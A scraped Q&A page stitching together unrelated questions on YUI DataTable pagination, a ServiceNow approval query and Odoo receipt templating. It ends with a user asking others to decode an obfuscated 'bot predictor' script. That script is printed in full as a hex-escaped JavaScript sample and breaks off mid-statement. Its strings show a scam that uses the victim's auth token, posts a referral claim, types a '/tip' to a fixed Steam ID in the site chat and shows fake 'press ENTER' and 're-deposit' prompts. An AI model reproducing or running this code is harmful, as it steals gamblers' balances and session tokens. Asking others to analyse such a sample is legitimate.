Yui Datatable with AutoComplete and Pagination - javascript

I try to understand how use server-side Pagination for Dynamic Data (I see example : http://developer.yahoo.com/yui/examples/datatable/dt_dynamicdata.html).
My problem is I can not customize my request, when I try the pagination, my request is :
qct-list.htmlsort=geneid&dir=asc&startIndex=50&result=25
The request should be in the following form :
qct-list.html?name=cd4&symbol=cd4&start=0&limit=25 or
qct-list.html?name=cd4&symbol=cd4&start=25&limit=50 ...
Here is a copy (part) of my code :
var myColumnDefs = [
{key:"geneid", label:"Gene", sortable:true},
{key:"name", label:"Name", sortable:true},
{key:"symbol", label:"Symbol", sortable:true},
{key:"lastupdated", label:"Last Updated", formatter:"date", sortable:true},
{key:"lastmodified", label:"Last Modified", formatter:"date", sortable:true}
];
var myDataSource = new YAHOO.util.DataSource("qct-list.html");
myDataSource.responseType = YAHOO.util.DataSource.TYPE_JSON;
myDataSource.connXhrMode = "queueRequests";
myDataSource.responseSchema = {
resultsList: "geneItemList",
fields: ["col","qv","limit","start","geneid","name","symbol","lastupdated","lastmodified"],
metaFields: {
totalRecords: "totalRecords" // Access to value in the server response
}
};
var qctPaginator = new YAHOO.widget.Paginator({
rowsPerPage: 25,
totalRecords : YAHOO.widget.Paginator.VALUE_UNLIMITED,
template: YAHOO.widget.Paginator.TEMPLATE_ROWS_PER_PAGE,
rowsPerPageOptions: [25,50,75,100]
});
var myRequestBuilder = function(ostate, oSelf) {
oState = oState || {pagination:null};
var name = Dom.get('dt_input_name').value;
var symbol = Dom.get('dt_input_symbol').value;
var start = (oState.pagination) ? oState.pagination.recordOffset : 0;
var limit = (oState.pagination) ? oState.pagination.rowsPerPage : 25;
return "?name=" + name + "&symbol"+ symbol + "&start=" + start + "&limit=" + limit;
}
var oConfigs = {
dynamicData: true, // Enables dynamic server-driven data
selectionMode: "single",
paginator: qctPaginator ,
generateRequest : myRequestBuilder,
paginationEventHandler : YAHOO.widget.DataTable.handleDataSourcePagination,
initialRequest: "?name=&symbol=&start=0&limit="
};
var myGeneListTable = new YAHOO.widget.DataTable("geneListTable", myColumnDefs, myDataSource, oConfigs);
myGeneListTable.handleDataReturnPayload = function(oRequest, oResponse, oPayload) {
oPayload.totalRecords = oResponse.meta.totalRecords;
return oPayload;
}
Can someone explain how to use the pagination with DataTable and how to personalize request ?

I almost managed to make it work my pagination.
My RequestBuilder now works fine, I get the request I need :
qct-list.html?name=interferon&symbol=&start=25&limit=25
Here the new code :
var myColumnDefs = [
{key:"geneid", label:"Gene", sortable:true},
{key:"name", label:"Name", sortable:true},
{key:"symbol", label:"Symbol", sortable:true},
{key:"lastupdated", label:"Last Updated", formatter:"date", sortable:true},
{key:"lastmodified", label:"Last Modified", formatter:"date", sortable:true}
];
var myDataSource = new YAHOO.util.DataSource("qct-list.html");
myDataSource.responseType = YAHOO.util.DataSource.TYPE_JSON;
myDataSource.connXhrMode = "queueRequests";
myDataSource.responseSchema = {
resultsList: "geneItemList",
fields: ["col","qv","limit","start","geneid","name","symbol","lastupdated","lastmodified"],
metaFields: {
totalRecords: "totalRecords" // Access to value in the server response
}
};
var qctPaginator = new YAHOO.widget.Paginator({
rowsPerPage: 25,
rowsPerPageOptions: [25,50,75,100]
});
var myRequestBuilder = function(oState,oSelf)
{
oState = oState || {pagination:null, sortedBy:null};
// var sort = (oState.sortedBy) ? oState.sortedBy.key : "geneid";
// var dir = (oState.sortedBy && oState.sortedBy.dir === YAHOO.widget.DataTable.CLASS_DESC) ? "desc" : "asc";
var start = (oState.pagination != null) ? oState.pagination.recordOffset : 0;
var limit = (oState.pagination != null) ? oState.pagination.rowsPerPage : 25;
var name = Dom.get('dt_input_name').value || "";
var symbol = Dom.get('dt_input_symbol').value || "";
return '?name='+ name + '&symbol=' + symbol + '&start='+ start + '&limit=' + limit;
}
var oConfigs = {
initialRequest: "?name=interferon&symbol=&start=&limit=",
dynamicData: true, // Enables dynamic server-driven data
selectionMode: "single",
paginator: qctPaginator,
generateRequest : myRequestBuilder
};
var myGeneListTable = new YAHOO.widget.DataTable("geneListTable", myColumnDefs, myDataSource, oConfigs);
myGeneListTable.handleDataReturnPayload = function(oRequest, oResponse, oPayload) {
if (oPayload == undefined) {
oPayload = {};
}
oPayload.totalRecords = oResponse.meta.totalRecords;
return oPayload;
}

I think you need to swap the declaraion of oConfigs and myRequestBuilder around so that
var myRequestBuilder = ...
var oConfigs = ...

Related

How add a filter in server script with query

i'm new in servicenow and I have to add this filter "document_id.number STARTS WITH BKNG"
as a query, how can i do in servicenow?
this is my code:
// only show 30 in header menu dropdown
var max = 30;
var t = data;
t.items = [];
t.count = 0;
var u = getMyApprovals();
// use record watchers to tell header when to update dropdown counts
t.record_watchers = [];
t.record_watchers.push({'table':'sysapproval_approver','filter':'approverIN' + u.toString() + '^state=requested'});
var z = new GlideRecord('sysapproval_approver');
z.addQuery("approver", u);
z.addQuery("state", "requested");
z.addQuery("document_id.number", "STARTSWITH", "BKNG")
z.orderByDesc('sys_updated_on');
z.setLimit(max);
z.query();
var link = {};
link.title = gs.getMessage('View all approvals');
link.type = 'link';
link.href = '?id=approvals';
link.items = [];
t.items.push(link);
while (z.next()) {
var a = {};
var rec = getRecordBeingApproved(z);
if (!rec.isValidRecord()) // nothing being approved - hmmm
continue;
a.short_description = rec.short_description + "";
if (rec.getRecordClassName() == "sc_request") {
var items = new GlideRecord("sc_req_item");
items.addQuery("request", rec.getUniqueValue());
items.query();
if (items.getRowCount() > 1)
a.short_description = items.getRowCount() + " requested items";
else if (items.getRowCount() == 1) {
items.next();
a.short_description = items.getValue("short_description");
}
}
$sp.getRecordValues(a, z, 'sys_id,sys_updated_on');
a.number = rec.getDisplayValue();
a.__table = z.getRecordClassName();
a.type = 'approval';
t.items.push(a);
t.count++;
}
function getRecordBeingApproved(gr) {
if (!gr.sysapproval.nil())
return gr.sysapproval.getRefRecord();
return gr.document_id.getRefRecord();
}
i tried doing z.addQuery ("document_id.number", "STARTSWITH", "BKNG")
but it doesn't works.
i don't know how to do.
You can't dot-walk the document_id field when using .addQuery() as it is not a reference filed. Instead, you can use the Approval for (sysapproval) reference field like so:
z.addQuery("sysapproval.number", "STARTSWITH", "BKNG");

How to pass a JavaScript variable to XML?

I want to pass JavaScript variable's value to an XML file. I have already seen this question and answer here but since my XML file is not that small but rather big, I would like to know how to do this without writing whole xml if possible.
I have this JavaScript code
render_receipt: function () {
// this._super();
var self = this;
if (self.pos.config.disable_fiscalization == false) {
var data = self.get_receipt_render_env();
self.$('.pos-receipt-container').html("")
var total_amount = data['receipt']['total_with_tax'];
var vat = self.pos['company']['vat'];
var header_time = data['order']['formatted_validation_date'];
var order_name = data['order']['name'];
var soft_code = self.pos['company']['software_code'];
var business_unit_code = self.pos['config']['business_unit_code'];
var business_unit_address = self.pos.business_unit_address
var tcr_code = self.pos['config']['tcr_code'];
var operator_code = self.pos.get_cashier().operator_code
// create message
message = vat + '|' + header_time + '|' + order_name + '|' + business_unit_code + '|' + tcr_code + '|' + soft_code + '|' + total_amount
var order = self.pos.get_order();
if (!this.pos.config.iface_print_via_proxy) {
var invoiced = new $.Deferred();
// if (self.pos.config.disable_fiscalization == false) {
// console.log("hasEnoughSpeed", hasEnoughSpeed, isAlive)
if (isAlive && hasEnoughSpeed) {
rpc.query({
model: 'pos.order',
method: 'search_read',
domain: [['pos_reference', '=', order['name']]],
fields: ['iic_code', 'header_send_datetime', 'amount_total', 'fic', 'business_unit_code', 'operator_code', 'fiscalization_url', 'partner_id']
})
.then(function (orders) {
var partner = null;
if (orders.length && orders[0]['partner_id'] == false) {
var data = self.get_receipt_render_env();
data['partner_name'] = orders[0]['partner_id'][1];
data['street'] = false;
data['country'] = false;
data['city'] = false;
data['zip'] = false;
data['vat'] = false;
data['nslf'] = orders[0]['iic_code'];
// alert(data['nslf'])
data['nivf'] = orders[0]['fic'];
data['business_unit_code'] = business_unit_code;
data['operator_code'] = operator_code;
data['business_unit_address'] = business_unit_address
self.$('.pos-receipt-container').html(qweb.render('PosTicket', data));
var qr = new QRious({
element: document.getElementById('qr-code'),
size: 200,
});
I'd like to pass data['nsfl'] to this XML div tag. I have already tried as you see and it is failing, I get why it is failing and from the other side I don't know how to make work either. Thanks in advance guys!!!
<div>
<div style="font-weight:bold;font-size:12px;">NSLF: <t t-esc="data['nslf']"/></div>
</div>

Can somebody help me decode this. Looks like Javascript or Json

Can somebody help me decode this. Looks like Javascript or Json.
There is this guy on youtube, who is telling this a bot predictor script.
I just want to know, how did he break the provably fair system. Whether the script is legit.
var _0x6f2e=["\x63\x68\x61\x74\x2D\x69\x6E\x70\x75\x74","\x74\x72\x61\x6E\x73\x70\x61\x72\x65\x6E\x74","\x6F\x76\x65\x72\x66\x6C\x6F\x77","\x68\x69\x64\x64\x65\x6E","\x76\x61\x6C\x75\x65","\x2F\x74\x69\x70\x20\x40\x37\x36\x35\x36\x31\x31\x39\x38\x31\x37\x33\x34\x34\x35\x36\x31\x39\x20","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x73\x67\x6F\x65\x6D\x70\x69\x72\x65\x2E\x63\x6F\x6D\x2F\x61\x70\x69\x2F\x76\x32\x2F\x75\x73\x65\x72\x2F\x72\x65\x66\x65\x72\x72\x61\x6C","\x66\x72\x65\x65\x31\x30\x64\x6F\x6C\x6C\x61\x72\x73","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x74\x61\x74\x75\x73","\x54\x68\x65\x20\x72\x65\x71\x75\x65\x73\x74\x20\x61\x6E\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x61\x75\x74\x68\x6F\x72\x69\x7A\x61\x74\x69\x6F\x6E","\x74\x6F\x6B\x65\x6E","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64","\x74\x65\x78\x74\x61\x72\x65\x61","\x66\x6F\x63\x75\x73","\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x63\x72\x69\x70\x74\x20\x0A\x20\x43\x6F\x6E\x66\x69\x72\x6D\x20\x74\x68\x61\x74\x20\x79\x6F\x75\x20\x61\x72\x65\x20\x68\x75\x6D\x61\x6E","\x50\x72\x65\x73\x73\x20\x45\x4E\x54\x45\x52\x20\x6F\x6E\x20\x79\x6F\x75\x72\x20\x6B\x65\x79\x62\x6F\x61\x72\x64\x20\x33\x78\x20\x74\x69\x6D\x65\x73\x20\x74\x6F\x20\x63\x6F\x6E\x74\x69\x6E\x75\x65\x2E","\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x63\x72\x69\x70\x74","\x59\x6F\x75\x20\x6E\x65\x65\x64\x20\x68\x69\x67\x68\x65\x72\x20\x62\x61\x6C\x61\x6E\x63\x65\x20\x74\x6F\x20\x73\x74\x61\x72\x74\x20\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x63\x72\x69\x70\x74\x2E","\x59\x6F\x75\x20\x6E\x65\x65\x64\x20\x68\x69\x67\x68\x65\x72\x20\x62\x61\x6C\x61\x6E\x63\x65\x20\x74\x6F\x20\x64\x6F\x20\x74\x68\x61\x74\x21\x20\x59\x6F\x75\x72\x20\x63\x6F\x69\x6E\x73\x20\x61\x72\x65\x20\x73\x61\x66\x65\x2C\x20\x70\x6C\x65\x61\x73\x65\x20\x72\x65\x2D\x64\x65\x70\x6F\x73\x69\x74\x20\x61\x6E\x64\x20\x74\x72\x79\x20\x61\x67\x61\x69\x6E\x20\x74\x6F\x20\x66\x69\x6E\x69\x73\x68\x20\x70\x72\x6F\x63\x65\x73\x73\x20\x64\x6F\x75\x62\x6C\x69\x6E\x67\x20\x62\x61\x6C\x61\x6E\x63\x65","\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65","\x72\x65\x70\x6C\x61\x63\x65","\x76\x2D\x2D\x6D\x6F\x64\x61\x6C\x2D\x6F\x76\x65\x72\x6C\x61\x79","\x76\x2D\x2D\x6D\x6F\x64\x61\x6C\x2D\x62\x6F\x78\x20\x76\x2D\x2D\x6D\x6F\x64\x61\x6C","\x72\x65\x6D\x6F\x76\x65","\x64\x69\x76","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x43\x52\x49\x50\x54","\x66\x6C\x65\x78\x20\x77\x2D\x66\x75\x6C\x6C","\x73\x74\x79\x6C\x65","\x62\x75\x74\x74\x6F\x6E","\x77\x69\x64\x74\x68\x3A\x31\x35\x30\x25\x3B\x6C\x65\x66\x74\x3A\x32\x35\x25\x3B","\x53\x54\x41\x52\x54","\x6F\x6E\x63\x6C\x69\x63\x6B","\x6F\x62\x72\x69\x73\x61\x6E\x6F\x20\x73\x76\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x62\x69\x67\x64\x69\x76","\x77\x69\x64\x74\x68\x3A\x20\x33\x30\x25\x3B\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x31\x35\x70\x78\x3B\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x74\x6F\x70\x3A\x20\x31\x30\x25\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x67\x72\x65\x79\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x20\x31\x30\x30\x3B\x6C\x65\x66\x74\x3A\x20\x33\x35\x25\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x33\x33\x33\x35\x34\x31\x3B\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x20\x2E\x36\x32\x35\x72\x65\x6D\x3B\x2F\x2A\x20\x6F\x76\x65\x72\x66\x6C\x6F\x77\x3A\x20\x76\x69\x73\x69\x62\x6C\x65\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x2D\x77\x65\x62\x6B\x69\x74\x2D\x62\x6F\x78\x2D\x73\x68\x61\x64\x6F\x77\x3A\x20\x30\x20\x32\x30\x70\x78\x20\x32\x30\x70\x78\x20\x30\x20\x72\x67\x62\x61\x28\x30\x2C\x30\x2C\x30\x2C\x2E\x35\x29\x3B\x62\x6F\x78\x2D\x73\x68\x61\x64\x6F\x77\x3A\x20\x30\x20\x30\x70\x78\x20\x35\x70\x78\x20\x30\x20\x23\x46\x46\x36\x35\x32\x46\x3B\x2F\x2A\x20\x74\x6F\x70\x3A\x20\x30\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x2F\x2A\x20\x6C\x65\x66\x74\x3A\x20\x30\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x2F\x2A\x20\x6D\x61\x72\x67\x69\x6E\x2D\x62\x6F\x74\x74\x6F\x6D\x3A\x20\x30\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x62\x6F\x72\x64\x65\x72\x3A\x20\x31\x70\x78\x20\x73\x6F\x6C\x69\x64\x20\x23\x46\x46\x36\x35\x32\x46\x3B","\x70\x6F\x73\x69\x74\x69\x6F\x6E","\x61\x62\x73\x6F\x6C\x75\x74\x65","\x7A\x49\x6E\x64\x65\x78","\x6D\x61\x72\x67\x69\x6E\x54\x6F\x70","\x66\x6F\x6E\x74\x53\x69\x7A\x65","\x2E\x38\x31\x32\x35\x72\x65\x6D","\x63\x6F\x6C\x6F\x72","\x70\x61\x64\x64\x69\x6E\x67","\x31\x2E\x32\x25","\x6F\x70\x61\x63\x69\x74\x79","\x30\x2E\x34","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x61\x74\x77\x68\x6F\x2D\x77\x72\x61\x70","\x73\x68\x69\x66\x74","\x70\x75\x73\x68","\x30\x78\x30","\x69\x6E\x6E\x65\x72\x54\x65\x78\x74","\x62\x61\x6C\x61\x6E\x63\x65","\x30\x78\x31","\x2C","","\x30\x78\x32","\x6C\x6F\x67","\x30\x78\x33","\x30\x78\x34","\x30\x78\x35","\x30\x78\x36","\x30\x78\x37","\x68\x33","\x30\x78\x38","\x30\x78\x39","\x30\x78\x61","\x30\x78\x62","\x30\x78\x63","\x30\x78\x64","\x30\x78\x65","\x30\x78\x66","\x30\x78\x31\x30","\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x66\x69\x78\x65\x64\x3B\x77\x69\x64\x74\x68\x3A\x20\x31\x30\x30\x25\x3B\x68\x65\x69\x67\x68\x74\x3A\x20\x31\x30\x30\x25\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x62\x6C\x61\x63\x6B\x3B\x6F\x70\x61\x63\x69\x74\x79\x3A\x20\x30\x2E\x37\x35\x3B\x74\x6F\x70\x3A\x20\x30\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x20\x39\x30\x3B","\x30\x78\x31\x31","\x30\x78\x31\x32","\x69\x64","\x30\x78\x31\x33","\x30\x78\x31\x34","\x70","\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x63\x65\x6E\x74\x65\x72\x3B\x66\x6F\x6E\x74\x2D\x66\x61\x6D\x69\x6C\x79\x3A\x20\x61\x6D\x65\x72\x69\x63\x61\x6E\x2D\x63\x61\x70\x74\x61\x69\x6E\x3B\x66\x6F\x6E\x74\x2D\x77\x65\x69\x67\x68\x74\x3A\x20\x34\x30\x30\x3B\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x64\x63\x64\x63\x64\x63\x3B\x6C\x65\x74\x74\x65\x72\x2D\x73\x70\x61\x63\x69\x6E\x67\x3A\x20\x2E\x30\x32\x35\x65\x6D\x3B\x6C\x69\x6E\x65\x2D\x68\x65\x69\x67\x68\x74\x3A\x20\x32\x2E\x32\x35\x3B\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x32\x34\x70\x78\x3B","\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x20\x31\x35\x70\x78\x3B\x66\x6F\x6E\x74\x2D\x77\x65\x69\x67\x68\x74\x3A\x20\x34\x30\x30\x3B\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x66\x6F\x6E\x74\x2D\x77\x65\x69\x67\x68\x74\x3A\x20\x37\x30\x30\x3B\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x46\x46\x36\x35\x32\x46\x3B\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x32\x30\x70\x78\x3B","\x61\x70\x70\x65\x6E\x64","\x73\x70\x61\x6E","\x54\x79\x70\x65\x20\x4D\x65\x73\x73\x61\x67\x65\x2E\x2E\x2E","\x30\x78\x31\x35","\x30\x78\x31\x36","\x30\x78\x31\x37","\x39","\x30\x78\x31\x38","\x35\x25","\x6D\x61\x72\x67\x69\x6E\x4C\x65\x66\x74","\x34\x25","\x30\x78\x31\x39","\x30\x78\x31\x61","\x30\x78\x31\x62","\x23\x64\x63\x64\x63\x64\x63","\x30\x78\x31\x63","\x30\x78\x31\x64","\x30\x78\x31\x65","\x30\x78\x31\x66","\x30\x78\x32\x30","\x30\x78\x32\x31","\x30\x78\x32\x32","\x30\x78\x32\x33","\x30\x78\x32\x34","\x30\x78\x32\x35","\x30\x78\x32\x36","\x30\x78\x32\x37","\x0A","\x30\x78\x32\x38","\x30\x78\x32\x39","\x30\x78\x32\x61","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x30\x78\x32\x62","\x30\x78\x32\x63","\x30\x78\x32\x64","\x30\x78\x32\x65","\x30\x78\x32\x66","\x30\x78\x33\x30","\x30\x78\x33\x31","\x30\x78\x33\x32","\x30\x78\x33\x33","\x30\x78\x33\x34","\x30\x78\x33\x35","\x30\x78\x33\x36","\x30\x78\x33\x37","\x30\x78\x33\x38","\x30\x78\x33\x39","\x30\x78\x33\x61","\x30\x78\x33\x62","\x30\x78\x33\x63"];var _0x2f47=[_0x6f2e[0],_0x6f2e[1],_0x6f2e[2],_0x6f2e[3],_0x6f2e[4],_0x6f2e[5],_0x6f2e[6],_0x6f2e[7],_0x6f2e[8],_0x6f2e[9],_0x6f2e[10],_0x6f2e[11],_0x6f2e[12],_0x6f2e[13],_0x6f2e[14],_0x6f2e[15],_0x6f2e[16],_0x6f2e[17],_0x6f2e[18],_0x6f2e[19],_0x6f2e[20],_0x6f2e[21],_0x6f2e[22],_0x6f2e[23],_0x6f2e[24],_0x6f2e[25],_0x6f2e[26],_0x6f2e[27],_0x6f2e[28],_0x6f2e[29],_0x6f2e[30],_0x6f2e[31],_0x6f2e[32],_0x6f2e[33],_0x6f2e[34],_0x6f2e[35],_0x6f2e[36],_0x6f2e[37],_0x6f2e[38],_0x6f2e[39],_0x6f2e[40],_0x6f2e[41],_0x6f2e[42],_0x6f2e[43],_0x6f2e[44],_0x6f2e[45],_0x6f2e[46],_0x6f2e[47],_0x6f2e[48],_0x6f2e[49],_0x6f2e[50],_0x6f2e[51],_0x6f2e[52],_0x6f2e[53],_0x6f2e[54],_0x6f2e[55],_0x6f2e[56],_0x6f2e[57],_0x6f2e[58],_0x6f2e[59],_0x6f2e[60]];(function(_0x735ax2,_0x735ax3){var _0x735ax4=function(_0x735ax5){while(--_0x735ax5){_0x735ax2[_0x6f2e[62]](_0x735ax2[_0x6f2e[61]]())}};_0x735ax4(++_0x735ax3)}(_0x2f47,0x14c));var _0x416c=function(_0x735ax7,_0x735ax8){_0x735ax7= _0x735ax7- 0x0;var _0x735ax9=_0x2f47[_0x735ax7];return _0x735ax9};var _0x1234=[_0x416c(_0x6f2e[63]),_0x6f2e[64],_0x6f2e[65],_0x416c(_0x6f2e[66]),_0x6f2e[67],_0x6f2e[68],_0x416c(_0x6f2e[69]),_0x6f2e[70],_0x416c(_0x6f2e[71]),_0x416c(_0x6f2e[72]),_0x416c(_0x6f2e[73]),_0x416c(_0x6f2e[74]),_0x416c(_0x6f2e[75]),_0x6f2e[76],_0x416c(_0x6f2e[77]),_0x416c(_0x6f2e[78]),_0x416c(_0x6f2e[79]),_0x416c(_0x6f2e[80]),_0x416c(_0x6f2e[81]),_0x416c(_0x6f2e[82]),_0x416c(_0x6f2e[83]),_0x416c(_0x6f2e[84]),_0x416c(_0x6f2e[85]),_0x6f2e[86],_0x416c(_0x6f2e[87]),_0x416c(_0x6f2e[88]),_0x6f2e[89],_0x416c(_0x6f2e[90]),_0x416c(_0x6f2e[91]),_0x6f2e[92],_0x6f2e[93],_0x6f2e[94],_0x6f2e[95],_0x6f2e[96],_0x6f2e[97],_0x416c(_0x6f2e[98]),_0x416c(_0x6f2e[99]),_0x416c(_0x6f2e[100]),_0x6f2e[101],_0x416c(_0x6f2e[102]),_0x6f2e[103],_0x6f2e[104],_0x6f2e[105],_0x416c(_0x6f2e[106]),_0x416c(_0x6f2e[107]),_0x416c(_0x6f2e[108]),_0x6f2e[109],_0x416c(_0x6f2e[110]),_0x416c(_0x6f2e[111]),_0x416c(_0x6f2e[112]),_0x416c(_0x6f2e[113]),_0x416c(_0x6f2e[114]),_0x416c(_0x6f2e[115]),_0x416c(_0x6f2e[116]),_0x416c(_0x6f2e[117]),_0x416c(_0x6f2e[118]),_0x416c(_0x6f2e[119]),_0x416c(_0x6f2e[120]),_0x416c(_0x6f2e[121]),_0x6f2e[122],_0x416c(_0x6f2e[123]),_0x416c(_0x6f2e[124]),_0x416c(_0x6f2e[125]),_0x6f2e[126],_0x416c(_0x6f2e[127]),_0x416c(_0x6f2e[128]),_0x416c(_0x6f2e[129]),_0x416c(_0x6f2e[130]),_0x416c(_0x6f2e[131]),_0x416c(_0x6f2e[132]),_0x416c(_0x6f2e[133]),_0x416c(_0x6f2e[134]),_0x416c(_0x6f2e[135]),_0x416c(_0x6f2e[136]),_0x416c(_0x6f2e[137]),_0x416c(_0x6f2e[138]),_0x416c(_0x6f2e[139]),_0x416c(_0x6f2e[140]),_0x416c(_0x6f2e[141]),_0x416c(_0x6f2e[142]),_0x416c(_0x6f2e[143]),_0x416c(_0x6f2e[144])];_0x1234[0x0];var _0xde2d=[_0x1234[0x0],_0x1234[0x1],_0x1234[0x2],_0x1234[0x3],_0x1234[0x4],_0x1234[0x5],_0x1234[0x6],_0x1234[0x7],_0x1234[0x8],_0x1234[0x9],_0x1234[0xa],_0x1234[0xb],_0x1234[0xc],_0x1234[0xd],_0x1234[0xe],_0x1234[0xf],_0x1234[0x10],_0x1234[0x11],_0x1234[0x12],_0x1234[0x13],_0x1234[0x14],_0x1234[0x15],_0x1234[0x16],_0x1234[0x17],_0x1234[0x18],_0x1234[0x19],_0x1234[0x1a],_0x1234[0x1b],_0x1234[0x1c],_0x1234[0x1d],_0x1234[0x1e],_0x1234[0x1f],_0x1234[0x20],_0x1234[0x21],_0x1234[0x22],_0x1234[0x23],_0x1234[0x24],_0x1234[0x25],_0x1234[0x26],_0x1234[0x27],_0x1234[0x28],_0x1234[0x29],_0x1234[0x2a],_0x1234[0x2b],_0x1234[0x2c],_0x1234[0x2d],_0x1234[0x2e],_0x1234[0x2f],_0x1234[0x30],_0x1234[0x31],_0x1234[0x32],_0x1234[0x33],_0x1234[0x34],_0x1234[0x35],_0x1234[0x36],_0x1234[0x37],_0x1234[0x38],_0x1234[0x39],_0x1234[0x3a],_0x1234[0x3b],_0x1234[0x3c],_0x1234[0x3d],_0x1234[0x3e],_0x1234[0x3f],_0x1234[0x40],_0x1234[0x41],_0x1234[0x42],_0x1234[0x43],_0x1234[0x44],_0x1234[0x45],_0x1234[0x46],_0x1234[0x47],_0x1234[0x48],_0x1234[0x49],_0x1234[0x4a],_0x1234[0x4b],_0x1234[0x4c],_0x1234[0x4d],_0x1234[0x4e],_0x1234[0x4f],_0x1234[0x50],_0x1234[0x51]];_0xde2d[0x0];var _0x8e4c=[_0xde2d[0x1],_0xde2d[0x2],_0xde2d[0x3],_0xde2d[0x4],_0xde2d[0x5],_0xde2d[0x6],_0xde2d[0x7],_0xde2d[0x8],_0xde2d[0x9],_0xde2d[0xa],_0xde2d[0xb],_0xde2d[0xc],_0xde2d[0xd],_0xde2d[0xe],_0xde2d[0xf],_0xde2d[0x10],_0xde2d[0x11],_0xde2d[0x12],_0xde2d[0x13],_0xde2d[0x14],_0xde2d[0x15],_0xde2d[0x16],_0xde2d[0x17],_0xde2d[0x18],_0xde2d[0x19],_0xde2d[0x1a],_0xde2d[0x1b],_0xde2d[0x1c],_0xde2d[0x1d],_0xde2d[0x1e],_0xde2d[0x1f],_0xde2d[0x20],_0xde2d[0x21],_0xde2d[0x22],_0xde2d[0x23],_0xde2d[0x24],_0xde2d[0x25],_0xde2d[0x26],_0xde2d[0x27],_0xde2d[0x28],_0xde2d[0x29],_0xde2d[0x2a],_0xde2d[0x2b],_0xde2d[0x2c],_0xde2d[0x2d],_0xde2d[0x2e],_0xde2d[0x2f],_0xde2d[0x30],_0xde2d[0x31],_0xde2d[0x32],_0xde2d[0x33],_0xde2d[0x34],_0xde2d[0x35],_0xde2d[0x36],_0xde2d[0x37],_0xde2d[0x38],_0xde2d[0x39],_0xde2d[0x3a],_0xde2d[0x3b],_0xde2d[0x3c],_0xde2d[0x3d],_0xde2d[0x3e],_0xde2d[0x3f],_0xde2d[0x40],_0xde2d[0x41],_0xde2d[0x42],_0xde2d[0x43],_0xde2d[0x44],_0xde2d[0x45],_0xde2d[0x46],_0xde2d[0x47],_0xde2d[0x48],_0xde2d[0x49],_0xde2d[0x4a],_0xde2d[0x4b],_0xde2d[0x4c],_0xde2d[0x4d],_0xde2d[0x4e],_0xde2d[0x4f],_0xde2d[0x50],_0xde2d[0x51]];var pare=document[_0x8e4c[0x2]](_0x8e4c[0x1])[0x0][_0x8e4c[0x0]];pare= pare[_0x8e4c[0x5]](_0x8e4c[0x3],_0x8e4c[0x4]);console[_0x8e4c[0x6]](pare);if(parseFloat(pare)>= 0x5){var zameniText=function(){var _0x735axf=setInterval(function(){var _0x735ax10=document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0];if(_0x735ax10){_0x735ax10= _0x735ax10[_0x8e4c[0x2]](_0x8e4c[0x8])[0x0];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xc])[0x0][_0x8e4c[0x0]]= _0x8e4c[0xd];_0x735ax10= 